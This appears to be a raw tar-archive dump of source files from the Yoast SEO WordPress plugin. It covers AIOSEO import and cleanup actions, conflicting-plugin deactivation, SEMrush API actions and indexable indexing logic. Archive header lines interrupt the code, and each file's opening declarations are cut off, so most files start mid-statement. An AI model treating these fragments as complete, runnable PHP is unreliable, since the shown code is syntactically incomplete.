public function social_image_url_import( $aioseo_social_image_settings, $aioseo_key, $mapping, $indexable ) {
if ( $mapping['social_setting_prefix_aioseo'] === 'twitter_' && $aioseo_social_image_settings['twitter_use_og'] ) {
$mapping['social_setting_prefix_aioseo'] = 'og_';
}
$social_setting = \rtrim( $mapping['social_setting_prefix_aioseo'], '_' );
$image_type = $aioseo_social_image_settings[ $mapping['social_setting_prefix_aioseo'] . 'image_type' ];
if ( $image_type === 'default' ) {
$image_type = $this->social_images_provider->get_default_social_image_source( $social_setting );
}
switch ( $image_type ) {
case 'attach':
$image_url = $this->social_images_provider->get_first_attached_image( $indexable->object_id );
break;
case 'auto':
if ( $this->social_images_provider->get_featured_image( $indexable->object_id ) ) {
// If there's a featured image, lets not import it, as our indexable calculation has already set that as active social image. That way we achieve dynamicality.
return null;
}
$image_url = $this->social_images_provider->get_auto_image( $indexable->object_id );
break;
case 'content':
$image_url = $this->social_images_provider->get_first_image_in_content( $indexable->object_id );
break;
case 'custom_image':
$image_url = $aioseo_social_image_settings[ $mapping['social_setting_prefix_aioseo'] . 'image_custom_url' ];
break;
case 'featured':
return null; // Our auto-calculation when the indexable was built/updated has taken care of it, so it's not needed to transfer any data now.
case 'author':
return null;
case 'custom':
return null;
case 'default':
$image_url = $this->social_images_provider->get_default_custom_social_image( $social_setting );
break;
default:
$image_url = $aioseo_social_image_settings[ $mapping['social_setting_prefix_aioseo'] . 'image_url' ];
break;
}
if ( empty( $image_url ) ) {
$image_url = $this->social_images_provider->get_default_custom_social_image( $social_setting );
}
if ( empty( $image_url ) ) {
return null;
}
return $this->sanitization->sanitize_url( $image_url, null );
}
}
actions/importing/aioseo/aioseo-general-settings-importing-action.php 0000644 00000013752 15207625720 0022233 0 ustar 00 image = $image;
}
/**
* Builds the mapping that ties AOISEO option keys with Yoast ones and their data transformation method.
*
* @return void
*/
protected function build_mapping() {
$this->aioseo_options_to_yoast_map = [
'/separator' => [
'yoast_name' => 'separator',
'transform_method' => 'transform_separator',
],
'/siteTitle' => [
'yoast_name' => 'title-home-wpseo',
'transform_method' => 'simple_import',
],
'/metaDescription' => [
'yoast_name' => 'metadesc-home-wpseo',
'transform_method' => 'simple_import',
],
'/schema/siteRepresents' => [
'yoast_name' => 'company_or_person',
'transform_method' => 'transform_site_represents',
],
'/schema/person' => [
'yoast_name' => 'company_or_person_user_id',
'transform_method' => 'simple_import',
],
'/schema/organizationName' => [
'yoast_name' => 'company_name',
'transform_method' => 'simple_import',
],
'/schema/organizationLogo' => [
'yoast_name' => 'company_logo',
'transform_method' => 'import_company_logo',
],
'/schema/personLogo' => [
'yoast_name' => 'person_logo',
'transform_method' => 'import_person_logo',
],
];
}
/**
* Imports the organization logo while also accounting for the id of the log to be saved in the separate Yoast option.
*
* @param string $logo_url The company logo url coming from AIOSEO settings.
*
* @return string The transformed company logo url.
*/
public function import_company_logo( $logo_url ) {
$logo_id = $this->image->get_attachment_by_url( $logo_url );
$this->options->set( 'company_logo_id', $logo_id );
$this->options->set( 'company_logo_meta', false );
$logo_meta = $this->image->get_attachment_meta_from_settings( 'company_logo' );
$this->options->set( 'company_logo_meta', $logo_meta );
return $this->url_import( $logo_url );
}
/**
* Imports the person logo while also accounting for the id of the log to be saved in the separate Yoast option.
*
* @param string $logo_url The person logo url coming from AIOSEO settings.
*
* @return string The transformed person logo url.
*/
public function import_person_logo( $logo_url ) {
$logo_id = $this->image->get_attachment_by_url( $logo_url );
$this->options->set( 'person_logo_id', $logo_id );
$this->options->set( 'person_logo_meta', false );
$logo_meta = $this->image->get_attachment_meta_from_settings( 'person_logo' );
$this->options->set( 'person_logo_meta', $logo_meta );
return $this->url_import( $logo_url );
}
/**
* Transforms the site represents setting.
*
* @param string $site_represents The site represents setting.
*
* @return string The transformed site represents setting.
*/
public function transform_site_represents( $site_represents ) {
switch ( $site_represents ) {
case 'person':
return 'person';
case 'organization':
default:
return 'company';
}
}
/**
* Transforms the separator setting.
*
* @param string $separator The separator setting.
*
* @return string The transformed separator.
*/
public function transform_separator( $separator ) {
switch ( $separator ) {
case '-':
return 'sc-dash';
case '–':
return 'sc-ndash';
case '—':
return 'sc-mdash';
case '»':
return 'sc-raquo';
case '«':
return 'sc-laquo';
case '>':
return 'sc-gt';
case '•':
return 'sc-bull';
case '|':
return 'sc-pipe';
default:
return 'sc-dash';
}
}
}
actions/importing/aioseo/aioseo-custom-archive-settings-importing-action.php 0000644 00000007366 15207625721 0023554 0 ustar 00 post_type = $post_type;
}
/**
* Builds the mapping that ties AOISEO option keys with Yoast ones and their data transformation method.
*
* @return void
*/
protected function build_mapping() {
$post_type_objects = \get_post_types( [ 'public' => true ], 'objects' );
foreach ( $post_type_objects as $pt ) {
// Use all the custom post types that have archives.
if ( ! $pt->_builtin && $this->post_type->has_archive( $pt ) ) {
$this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/title' ] = [
'yoast_name' => 'title-ptarchive-' . $pt->name,
'transform_method' => 'simple_import',
];
$this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/metaDescription' ] = [
'yoast_name' => 'metadesc-ptarchive-' . $pt->name,
'transform_method' => 'simple_import',
];
$this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/advanced/robotsMeta/noindex' ] = [
'yoast_name' => 'noindex-ptarchive-' . $pt->name,
'transform_method' => 'import_noindex',
'type' => 'archives',
'subtype' => $pt->name,
'option_name' => 'aioseo_options_dynamic',
];
}
}
}
}
actions/importing/aioseo/aioseo-taxonomy-settings-importing-action.php 0000644 00000007645 15207625721 0022501 0 ustar 00 '', // Empty string, as AIOSEO shows nothing for that tag.
'#breadcrumb_archive_post_type_format' => '', // Empty string, as AIOSEO shows nothing for that tag.
'#breadcrumb_archive_post_type_name' => '', // Empty string, as AIOSEO shows nothing for that tag.
'#breadcrumb_author_display_name' => '', // Empty string, as AIOSEO shows nothing for that tag.
'#breadcrumb_author_first_name' => '', // Empty string, as AIOSEO shows nothing for that tag.
'#breadcrumb_blog_page_title' => '', // Empty string, as AIOSEO shows nothing for that tag.
'#breadcrumb_label' => '', // Empty string, as AIOSEO shows nothing for that tag.
'#breadcrumb_link' => '', // Empty string, as AIOSEO shows nothing for that tag.
'#breadcrumb_search_result_format' => '', // Empty string, as AIOSEO shows nothing for that tag.
'#breadcrumb_search_string' => '', // Empty string, as AIOSEO shows nothing for that tag.
'#breadcrumb_separator' => '', // Empty string, as AIOSEO shows nothing for that tag.
'#breadcrumb_taxonomy_title' => '', // Empty string, as AIOSEO shows nothing for that tag.
'#taxonomy_title' => '%%term_title%%',
];
/**
* Builds the mapping that ties AOISEO option keys with Yoast ones and their data transformation method.
*
* @return void
*/
protected function build_mapping() {
$taxonomy_objects = \get_taxonomies( [ 'public' => true ], 'object' );
foreach ( $taxonomy_objects as $tax ) {
// Use all the public taxonomies.
$this->aioseo_options_to_yoast_map[ '/' . $tax->name . '/title' ] = [
'yoast_name' => 'title-tax-' . $tax->name,
'transform_method' => 'simple_import',
];
$this->aioseo_options_to_yoast_map[ '/' . $tax->name . '/metaDescription' ] = [
'yoast_name' => 'metadesc-tax-' . $tax->name,
'transform_method' => 'simple_import',
];
$this->aioseo_options_to_yoast_map[ '/' . $tax->name . '/advanced/robotsMeta/noindex' ] = [
'yoast_name' => 'noindex-tax-' . $tax->name,
'transform_method' => 'import_noindex',
'type' => 'taxonomies',
'subtype' => $tax->name,
'option_name' => 'aioseo_options_dynamic',
];
}
}
/**
* Returns a setting map of the robot setting for post category taxonomies.
*
* @return array The setting map of the robot setting for post category taxonomies.
*/
public function pluck_robot_setting_from_mapping() {
$this->build_mapping();
foreach ( $this->aioseo_options_to_yoast_map as $setting ) {
// Return the first archive setting map.
if ( $setting['transform_method'] === 'import_noindex' && isset( $setting['subtype'] ) && $setting['subtype'] === 'category' ) {
return $setting;
}
}
return [];
}
}
actions/importing/aioseo/abstract-aioseo-settings-importing-action.php 0000644 00000024610 15207625722 0022416 0 ustar 00 import_helper = $import_helper;
}
/**
* Retrieves the source option_name.
*
* @return string The source option_name.
*
* @throws Exception If the SOURCE_OPTION_NAME constant is not set in the child class.
*/
public function get_source_option_name() {
$source_option_name = static::SOURCE_OPTION_NAME;
if ( empty( $source_option_name ) ) {
throw new Exception( 'Importing settings action without explicit source option_name' );
}
return $source_option_name;
}
/**
* Returns the total number of unimported objects.
*
* @return int The total number of unimported objects.
*/
public function get_total_unindexed() {
return $this->get_unindexed_count();
}
/**
* Returns the limited number of unimported objects.
*
* @param int $limit The maximum number of unimported objects to be returned.
*
* @return int The limited number of unindexed posts.
*/
public function get_limited_unindexed_count( $limit ) {
return $this->get_unindexed_count( $limit );
}
/**
* Returns the number of unimported objects (limited if limit is applied).
*
* @param int|null $limit The maximum number of unimported objects to be returned.
*
* @return int The number of unindexed posts.
*/
protected function get_unindexed_count( $limit = null ) {
if ( ! \is_int( $limit ) || $limit < 1 ) {
$limit = null;
}
$settings_to_create = $this->query( $limit );
$number_of_settings_to_create = \count( $settings_to_create );
$completed = $number_of_settings_to_create === 0;
$this->set_completed( $completed );
return $number_of_settings_to_create;
}
/**
* Imports AIOSEO settings.
*
* @return array|false An array of the AIOSEO settings that were imported or false if aioseo data was not found.
*/
public function index() {
$limit = $this->get_limit();
$aioseo_settings = $this->query( $limit );
$created_settings = [];
$completed = \count( $aioseo_settings ) === 0;
$this->set_completed( $completed );
// Prepare the setting keys mapping.
$this->build_mapping();
// Prepare the replacement var mapping.
foreach ( $this->replace_vars_edited_map as $aioseo_var => $yoast_var ) {
$this->replacevar_handler->compose_map( $aioseo_var, $yoast_var );
}
$last_imported_setting = '';
try {
foreach ( $aioseo_settings as $setting => $setting_value ) {
// Map and import the values of the setting we're working with (eg. post, book-category, etc.) to the respective Yoast option.
$this->map( $setting_value, $setting );
// Save the type of the settings that were just imported, so that we can allow chunked imports.
$last_imported_setting = $setting;
$created_settings[] = $setting;
}
}
finally {
$cursor_id = $this->get_cursor_id();
$this->import_cursor->set_cursor( $cursor_id, $last_imported_setting );
}
return $created_settings;
}
/**
* Checks if the settings tab subsetting is set in the AIOSEO option.
*
* @param string $aioseo_settings The AIOSEO option.
*
* @return bool Whether the settings are set.
*/
public function isset_settings_tab( $aioseo_settings ) {
return isset( $aioseo_settings['searchAppearance'][ $this->settings_tab ] );
}
/**
* Queries the database and retrieves unimported AiOSEO settings (in chunks if a limit is applied).
*
* @param int|null $limit The maximum number of unimported objects to be returned.
*
* @return array The (maybe chunked) unimported AiOSEO settings to import.
*/
protected function query( $limit = null ) {
$aioseo_settings = \json_decode( \get_option( $this->get_source_option_name(), '' ), true );
if ( empty( $aioseo_settings ) ) {
return [];
}
// We specifically want the setttings of the tab we're working with, eg. postTypes, taxonomies, etc.
$settings_values = $aioseo_settings['searchAppearance'][ $this->settings_tab ];
if ( ! \is_array( $settings_values ) ) {
return [];
}
$flattened_settings = $this->import_helper->flatten_settings( $settings_values );
return $this->get_unimported_chunk( $flattened_settings, $limit );
}
/**
* Retrieves (a chunk of, if limit is applied) the unimported AIOSEO settings.
* To apply a chunk, we manipulate the cursor to the keys of the AIOSEO settings.
*
* @param array $importable_data All of the available AIOSEO settings.
* @param int $limit The maximum number of unimported objects to be returned.
*
* @return array The (chunk of, if limit is applied)) unimported AIOSEO settings.
*/
protected function get_unimported_chunk( $importable_data, $limit ) {
\ksort( $importable_data );
$cursor_id = $this->get_cursor_id();
$cursor = $this->import_cursor->get_cursor( $cursor_id, '' );
/**
* Filter 'wpseo_aioseo__import_cursor' - Allow filtering the value of the aioseo settings import cursor.
*
* @param int $import_cursor The value of the aioseo posttype default settings import cursor.
*/
$cursor = \apply_filters( 'wpseo_aioseo_' . $this->get_type() . '_import_cursor', $cursor );
if ( $cursor === '' ) {
return \array_slice( $importable_data, 0, $limit, true );
}
// Let's find the position of the cursor in the alphabetically sorted importable data, so we can return only the unimported data.
$keys = \array_flip( \array_keys( $importable_data ) );
// If the stored cursor now no longer exists in the data, we have no choice but to start over.
$position = ( isset( $keys[ $cursor ] ) ) ? ( $keys[ $cursor ] + 1 ) : 0;
return \array_slice( $importable_data, $position, $limit, true );
}
/**
* Returns the number of objects that will be imported in a single importing pass.
*
* @return int The limit.
*/
public function get_limit() {
/**
* Filter 'wpseo_aioseo__indexation_limit' - Allow filtering the number of settings imported during each importing pass.
*
* @param int $max_posts The maximum number of posts indexed.
*/
$limit = \apply_filters( 'wpseo_aioseo_' . $this->get_type() . '_indexation_limit', 25 );
if ( ! \is_int( $limit ) || $limit < 1 ) {
$limit = 25;
}
return $limit;
}
/**
* Maps/imports AIOSEO settings into the respective Yoast settings.
*
* @param string|array $setting_value The value of the AIOSEO setting at hand.
* @param string $setting The setting at hand, eg. post or movie-category, separator etc.
*
* @return void
*/
protected function map( $setting_value, $setting ) {
$aioseo_options_to_yoast_map = $this->aioseo_options_to_yoast_map;
if ( isset( $aioseo_options_to_yoast_map[ $setting ] ) ) {
$this->import_single_setting( $setting, $setting_value, $aioseo_options_to_yoast_map[ $setting ] );
}
}
/**
* Imports a single setting in the db after transforming it to adhere to Yoast conventions.
*
* @param string $setting The name of the setting.
* @param string $setting_value The values of the setting.
* @param array $setting_mapping The mapping of the setting to Yoast formats.
*
* @return void
*/
protected function import_single_setting( $setting, $setting_value, $setting_mapping ) {
$yoast_key = $setting_mapping['yoast_name'];
// Check if we're supposed to save the setting.
if ( $this->options->get_default( 'wpseo_titles', $yoast_key ) !== null ) {
// Then, do any needed data transfomation before actually saving the incoming data.
$transformed_data = \call_user_func( [ $this, $setting_mapping['transform_method'] ], $setting_value, $setting_mapping );
$this->options->set( $yoast_key, $transformed_data );
}
}
/**
* Minimally transforms boolean data to be imported.
*
* @param bool $meta_data The boolean meta data to be imported.
*
* @return bool The transformed boolean meta data.
*/
public function simple_boolean_import( $meta_data ) {
return $meta_data;
}
/**
* Imports the noindex setting, taking into consideration whether they defer to global defaults.
*
* @param bool $noindex The noindex of the type, without taking into consideration whether the type defers to global defaults.
* @param array $mapping The mapping of the setting we're working with.
*
* @return bool The noindex setting.
*/
public function import_noindex( $noindex, $mapping ) {
return $this->robots_transformer->transform_robot_setting( 'noindex', $noindex, $mapping );
}
/**
* Returns a setting map of the robot setting for one subset of post types/taxonomies/archives.
* For custom archives, it returns an empty array because AIOSEO excludes some custom archives from this option structure, eg. WooCommerce's products and we don't want to raise a false alarm.
*
* @return array The setting map of the robot setting for one subset of post types/taxonomies/archives or an empty array.
*/
public function pluck_robot_setting_from_mapping() {
return [];
}
}
actions/importing/aioseo/aioseo-cleanup-action.php 0000644 00000011026 15207625722 0016373 0 ustar 00
*/
protected $aioseo_postmeta_keys = [
'_aioseo_title',
'_aioseo_description',
'_aioseo_og_title',
'_aioseo_og_description',
'_aioseo_twitter_title',
'_aioseo_twitter_description',
];
/**
* The WordPress database instance.
*
* @var wpdb
*/
protected $wpdb;
/**
* Class constructor.
*
* @param wpdb $wpdb The WordPress database instance.
* @param Options_Helper $options The options helper.
*/
public function __construct( wpdb $wpdb, Options_Helper $options ) {
$this->wpdb = $wpdb;
$this->options = $options;
}
/**
* Retrieves the postmeta along with the db prefix.
*
* @return string The postmeta table name along with the db prefix.
*/
protected function get_postmeta_table() {
return $this->wpdb->prefix . 'postmeta';
}
/**
* Just checks if the cleanup has been completed in the past.
*
* @return int The total number of unimported objects.
*/
public function get_total_unindexed() {
if ( ! $this->aioseo_helper->aioseo_exists() ) {
return 0;
}
return ( ! $this->get_completed() ) ? 1 : 0;
}
/**
* Just checks if the cleanup has been completed in the past.
*
* @param int $limit The maximum number of unimported objects to be returned.
*
* @return int|false The limited number of unindexed posts. False if the query fails.
*/
public function get_limited_unindexed_count( $limit ) {
if ( ! $this->aioseo_helper->aioseo_exists() ) {
return 0;
}
return ( ! $this->get_completed() ) ? 1 : 0;
}
/**
* Cleans up AIOSEO data.
*
* @return Indexable[]|false An array of created indexables or false if aioseo data was not found.
*/
public function index() {
if ( $this->get_completed() ) {
return [];
}
// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: There is no unescaped user input.
$meta_data = $this->wpdb->query( $this->cleanup_postmeta_query() );
$aioseo_table_truncate_done = $this->wpdb->query( $this->truncate_query() );
// phpcs:enable WordPress.DB.PreparedSQL.NotPrepared
if ( $meta_data === false && $aioseo_table_truncate_done === false ) {
return false;
}
$this->set_completed( true );
return [
'metadata_cleanup' => $meta_data,
'indexables_cleanup' => $aioseo_table_truncate_done,
];
}
/**
* Creates a DELETE query string for deleting AIOSEO postmeta data.
*
* @return string The query to use for importing or counting the number of items to import.
*/
public function cleanup_postmeta_query() {
$table = $this->get_postmeta_table();
$meta_keys_to_delete = $this->aioseo_postmeta_keys;
// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
return $this->wpdb->prepare(
"DELETE FROM {$table} WHERE meta_key IN (" . \implode( ', ', \array_fill( 0, \count( $meta_keys_to_delete ), '%s' ) ) . ')',
$meta_keys_to_delete,
);
// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
}
/**
* Creates a TRUNCATE query string for emptying the AIOSEO indexable table, if it exists.
*
* @return string The query to use for importing or counting the number of items to import.
*/
public function truncate_query() {
if ( ! $this->aioseo_helper->aioseo_exists() ) {
// If the table doesn't exist, we need a string that will amount to a quick query that doesn't return false when ran.
return 'SELECT 1';
}
$table = $this->aioseo_helper->get_table();
return "TRUNCATE TABLE {$table}";
}
/**
* Used nowhere. Exists to comply with the interface.
*
* @return int The limit.
*/
public function get_limit() {
/**
* Filter 'wpseo_aioseo_cleanup_limit' - Allow filtering the number of posts indexed during each indexing pass.
*
* @param int $max_posts The maximum number of posts cleaned up.
*/
$limit = \apply_filters( 'wpseo_aioseo_cleanup_limit', 25 );
if ( ! \is_int( $limit ) || $limit < 1 ) {
$limit = 25;
}
return $limit;
}
}
actions/importing/importing-action-interface.php 0000644 00000001614 15207625723 0016161 0 ustar 00 conflicting_plugins = $conflicting_plugins_service;
$this->detected_plugins = [];
}
/**
* Get the total number of conflicting plugins.
*
* @return int
*/
public function get_total_unindexed() {
return \count( $this->get_detected_plugins() );
}
/**
* Returns whether the updated importer framework is enabled.
*
* @return bool True if the updated importer framework is enabled.
*/
public function is_enabled() {
$updated_importer_framework_conditional = \YoastSEO()->classes->get( Updated_Importer_Framework_Conditional::class );
return $updated_importer_framework_conditional->is_met();
}
/**
* Deactivate conflicting plugins.
*
* @return array
*/
public function index() {
$detected_plugins = $this->get_detected_plugins();
$this->conflicting_plugins->deactivate_conflicting_plugins( $detected_plugins );
// We need to conform to the interface, so we report that no indexables were created.
return [];
}
/**
* {@inheritDoc}
*/
public function get_limit() {
return \count( Conflicting_Plugins::all_plugins() );
}
/**
* Returns the total number of unindexed objects up to a limit.
*
* @param int $limit The maximum.
*
* @return int The total number of unindexed objects.
*/
public function get_limited_unindexed_count( $limit ) {
$count = \count( $this->get_detected_plugins() );
return ( $count <= $limit ) ? $count : $limit;
}
/**
* Returns all detected plugins.
*
* @return array The detected plugins.
*/
protected function get_detected_plugins() {
// The active plugins won't change much. We can reuse the result for the duration of the request.
if ( \count( $this->detected_plugins ) < 1 ) {
$this->detected_plugins = $this->conflicting_plugins->detect_conflicting_plugins();
}
return $this->detected_plugins;
}
}
actions/semrush/semrush-options-action.php 0000644 00000002140 15207625723 0015043 0 ustar 00 options_helper = $options_helper;
}
/**
* Stores SEMrush country code in the WPSEO options.
*
* @param string $country_code The country code to store.
*
* @return object The response object.
*/
public function set_country_code( $country_code ) {
// The country code has already been validated at this point. No need to do that again.
$success = $this->options_helper->set( 'semrush_country_code', $country_code );
if ( $success ) {
return (object) [
'success' => true,
'status' => 200,
];
}
return (object) [
'success' => false,
'status' => 500,
'error' => 'Could not save option in the database',
];
}
}
actions/semrush/semrush-login-action.php 0000644 00000002360 15207625723 0014464 0 ustar 00 client = $client;
}
/**
* Authenticates with SEMrush to request the necessary tokens.
*
* @param string $code The authentication code to use to request a token with.
*
* @return object The response object.
*/
public function authenticate( $code ) {
// Code has already been validated at this point. No need to do that again.
try {
$tokens = $this->client->request_tokens( $code );
return (object) [
'tokens' => $tokens->to_array(),
'status' => 200,
];
} catch ( Authentication_Failed_Exception $e ) {
return $e->get_response();
}
}
/**
* Performs the login request, if necessary.
*
* @return void
*/
public function login() {
if ( $this->client->has_valid_tokens() ) {
return;
}
// Prompt with login screen.
}
}
actions/semrush/semrush-phrases-action.php 0000644 00000004441 15207625723 0015023 0 ustar 00 client = $client;
}
/**
* Gets the related keyphrases and data based on the passed keyphrase and database country code.
*
* @param string $keyphrase The keyphrase to search for.
* @param string $database The database's country code.
*
* @return object The response object.
*/
public function get_related_keyphrases( $keyphrase, $database ) {
try {
$transient_key = \sprintf( static::TRANSIENT_CACHE_KEY, $keyphrase, $database );
$transient = \get_transient( $transient_key );
if ( $transient !== false && isset( $transient['data']['columnNames'] ) && \count( $transient['data']['columnNames'] ) === 5 ) {
return $this->to_result_object( $transient );
}
$options = [
'params' => [
'phrase' => $keyphrase,
'database' => $database,
'export_columns' => 'Ph,Nq,Td,In,Kd',
'display_limit' => 10,
'display_offset' => 0,
'display_sort' => 'nq_desc',
'display_filter' => '%2B|Nq|Lt|1000',
],
];
$results = $this->client->get( self::KEYPHRASES_URL, $options );
\set_transient( $transient_key, $results, \DAY_IN_SECONDS );
return $this->to_result_object( $results );
} catch ( Exception $e ) {
return (object) [
'error' => $e->getMessage(),
'status' => $e->getCode(),
];
}
}
/**
* Converts the passed dataset to an object.
*
* @param array $result The result dataset to convert to an object.
*
* @return object The result object.
*/
protected function to_result_object( $result ) {
return (object) [
'results' => $result['data'],
'status' => $result['status'],
];
}
}
actions/indexables/indexable-head-action.php 0000644 00000007417 15207625724 0015163 0 ustar 00 meta_surface = $meta_surface;
}
/**
* Retrieves the head for a url.
*
* @param string $url The url to get the head for.
*
* @return object Object with head and status properties.
*/
public function for_url( $url ) {
if ( $url === \trailingslashit( \get_home_url() ) ) {
return $this->with_404_fallback( $this->with_cache( 'home_page' ) );
}
return $this->with_404_fallback( $this->with_cache( 'url', $url ) );
}
/**
* Retrieves the head for a post.
*
* @param int $id The id.
*
* @return object Object with head and status properties.
*/
public function for_post( $id ) {
return $this->with_404_fallback( $this->with_cache( 'post', $id ) );
}
/**
* Retrieves the head for a term.
*
* @param int $id The id.
*
* @return object Object with head and status properties.
*/
public function for_term( $id ) {
return $this->with_404_fallback( $this->with_cache( 'term', $id ) );
}
/**
* Retrieves the head for an author.
*
* @param int $id The id.
*
* @return object Object with head and status properties.
*/
public function for_author( $id ) {
return $this->with_404_fallback( $this->with_cache( 'author', $id ) );
}
/**
* Retrieves the head for a post type archive.
*
* @param int $type The id.
*
* @return object Object with head and status properties.
*/
public function for_post_type_archive( $type ) {
return $this->with_404_fallback( $this->with_cache( 'post_type_archive', $type ) );
}
/**
* Retrieves the head for the posts page.
*
* @return object Object with head and status properties.
*/
public function for_posts_page() {
return $this->with_404_fallback( $this->with_cache( 'posts_page' ) );
}
/**
* Retrieves the head for the 404 page. Always sets the status to 404.
*
* @return object Object with head and status properties.
*/
public function for_404() {
$meta = $this->with_cache( '404' );
if ( ! $meta ) {
return (object) [
'html' => '',
'json' => [],
'status' => 404,
];
}
$head = $meta->get_head();
return (object) [
'html' => $head->html,
'json' => $head->json,
'status' => 404,
];
}
/**
* Retrieves the head for a successful page load.
*
* @param object $head The calculated Yoast head.
*
* @return object The presentations and status code 200.
*/
protected function for_200( $head ) {
return (object) [
'html' => $head->html,
'json' => $head->json,
'status' => 200,
];
}
/**
* Returns the head with 404 fallback
*
* @param Meta|false $meta The meta object.
*
* @return object The head response.
*/
protected function with_404_fallback( $meta ) {
if ( $meta === false ) {
return $this->for_404();
}
else {
return $this->for_200( $meta->get_head() );
}
}
/**
* Retrieves a value from the meta surface cached.
*
* @param string $type The type of value to retrieve.
* @param string $argument Optional. The argument for the value.
*
* @return Meta The meta object.
*/
protected function with_cache( $type, $argument = '' ) {
if ( ! isset( $this->cache[ $type ][ $argument ] ) ) {
$this->cache[ $type ][ $argument ] = \call_user_func( [ $this->meta_surface, "for_$type" ], $argument );
}
return $this->cache[ $type ][ $argument ];
}
}
actions/indexing/limited-indexing-action-interface.php 0000644 00000000763 15207625725 0017206 0 ustar 00 indexing_helper = $indexing_helper;
}
/**
* Prepares the indexing routine.
*
* @return void
*/
public function prepare() {
$this->indexing_helper->prepare();
}
}
actions/indexing/indexable-indexing-complete-action.php 0000644 00000001316 15207625726 0017356 0 ustar 00 indexable_helper = $indexable_helper;
}
/**
* Wraps up the indexing process.
*
* @return void
*/
public function complete() {
$this->indexable_helper->finish_indexing();
}
}
actions/indexing/indexable-post-type-archive-indexation-action.php 0000644 00000014026 15207625727 0021471 0 ustar 00 repository = $repository;
$this->builder = $builder;
$this->post_type = $post_type;
$this->version = $versions->get_latest_version_for_type( 'post-type-archive' );
}
/**
* Returns the total number of unindexed post type archives.
*
* @param int|false $limit Limit the number of counted objects.
* False for "no limit".
*
* @return int The total number of unindexed post type archives.
*/
public function get_total_unindexed( $limit = false ) {
$transient = \get_transient( static::UNINDEXED_COUNT_TRANSIENT );
if ( $transient !== false ) {
return (int) $transient;
}
\set_transient( static::UNINDEXED_COUNT_TRANSIENT, 0, \DAY_IN_SECONDS );
$result = \count( $this->get_unindexed_post_type_archives( $limit ) );
\set_transient( static::UNINDEXED_COUNT_TRANSIENT, $result, \DAY_IN_SECONDS );
/**
* Action: 'wpseo_indexables_unindexed_calculated' - sets an option to timestamp when there are no unindexed indexables left.
*
* @internal
*/
\do_action( 'wpseo_indexables_unindexed_calculated', static::UNINDEXED_COUNT_TRANSIENT, $result );
return $result;
}
/**
* Creates indexables for post type archives.
*
* @return Indexable[] The created indexables.
*/
public function index() {
$unindexed_post_type_archives = $this->get_unindexed_post_type_archives( $this->get_limit() );
$indexables = [];
foreach ( $unindexed_post_type_archives as $post_type_archive ) {
$indexables[] = $this->builder->build_for_post_type_archive( $post_type_archive );
}
if ( \count( $indexables ) > 0 ) {
\delete_transient( static::UNINDEXED_COUNT_TRANSIENT );
}
return $indexables;
}
/**
* Returns the number of post type archives that will be indexed in a single indexing pass.
*
* @return int The limit.
*/
public function get_limit() {
/**
* Filter 'wpseo_post_type_archive_indexation_limit' - Allow filtering the number of posts indexed during each indexing pass.
*
* @param int $limit The maximum number of posts indexed.
*/
$limit = \apply_filters( 'wpseo_post_type_archive_indexation_limit', 25 );
if ( ! \is_int( $limit ) || $limit < 1 ) {
$limit = 25;
}
return $limit;
}
/**
* Retrieves the list of post types for which no indexable for its archive page has been made yet.
*
* @param int|false $limit Limit the number of retrieved indexables to this number.
*
* @return array The list of post types for which no indexable for its archive page has been made yet.
*/
protected function get_unindexed_post_type_archives( $limit = false ) {
$post_types_with_archive_pages = $this->get_post_types_with_archive_pages();
$indexed_post_types = $this->get_indexed_post_type_archives();
$unindexed_post_types = \array_diff( $post_types_with_archive_pages, $indexed_post_types );
if ( $limit ) {
return \array_slice( $unindexed_post_types, 0, $limit );
}
return $unindexed_post_types;
}
/**
* Returns the names of all the post types that have archive pages.
*
* @return array The list of names of all post types that have archive pages.
*/
protected function get_post_types_with_archive_pages() {
// We only want to index archive pages of public post types that have them.
$post_types_with_archive = $this->post_type->get_indexable_post_archives();
// We only need the post type names, not the objects.
$post_types = [];
foreach ( $post_types_with_archive as $post_type_with_archive ) {
$post_types[] = $post_type_with_archive->name;
}
return $post_types;
}
/**
* Retrieves the list of post type names for which an archive indexable exists.
*
* @return array The list of names of post types with unindexed archive pages.
*/
protected function get_indexed_post_type_archives() {
$results = $this->repository->query()
->select( 'object_sub_type' )
->where( 'object_type', 'post-type-archive' )
->where_equal( 'version', $this->version )
->find_array();
if ( $results === false ) {
return [];
}
$callback = static function ( $result ) {
return $result['object_sub_type'];
};
return \array_map( $callback, $results );
}
/**
* Returns a limited number of unindexed posts.
*
* @param int $limit Limit the maximum number of unindexed posts that are counted.
*
* @return int|false The limited number of unindexed posts. False if the query fails.
*/
public function get_limited_unindexed_count( $limit ) {
return $this->get_total_unindexed( $limit );
}
}
actions/indexing/abstract-indexing-action.php 0000644 00000006173 15207625731 0015422 0 ustar 00 get_select_query( $limit );
// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Function get_count_query returns a prepared query.
$unindexed_object_ids = ( $query === '' ) ? [] : $this->wpdb->get_col( $query );
$count = (int) \count( $unindexed_object_ids );
\set_transient( static::UNINDEXED_LIMITED_COUNT_TRANSIENT, $count, ( \MINUTE_IN_SECONDS * 15 ) );
return $count;
}
/**
* Returns the total number of unindexed posts.
*
* @return int|false The total number of unindexed posts. False if the query fails.
*/
public function get_total_unindexed() {
$transient = \get_transient( static::UNINDEXED_COUNT_TRANSIENT );
if ( $transient !== false ) {
return (int) $transient;
}
// Store transient before doing the query so multiple requests won't make multiple queries.
// Only store this for 15 minutes to ensure that if the query doesn't complete a wrong count is not kept too long.
\set_transient( static::UNINDEXED_COUNT_TRANSIENT, 0, ( \MINUTE_IN_SECONDS * 15 ) );
$query = $this->get_count_query();
// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Function get_count_query returns a prepared query.
$count = ( $query === '' ) ? 0 : $this->wpdb->get_var( $query );
if ( $count === null ) {
return false;
}
\set_transient( static::UNINDEXED_COUNT_TRANSIENT, $count, \DAY_IN_SECONDS );
/**
* Action: 'wpseo_indexables_unindexed_calculated' - sets an option to timestamp when there are no unindexed indexables left.
*
* @internal
*/
\do_action( 'wpseo_indexables_unindexed_calculated', static::UNINDEXED_COUNT_TRANSIENT, $count );
return (int) $count;
}
}
actions/indexing/indexable-term-indexation-action.php 0000644 00000012165 15207625731 0017052 0 ustar 00 taxonomy = $taxonomy;
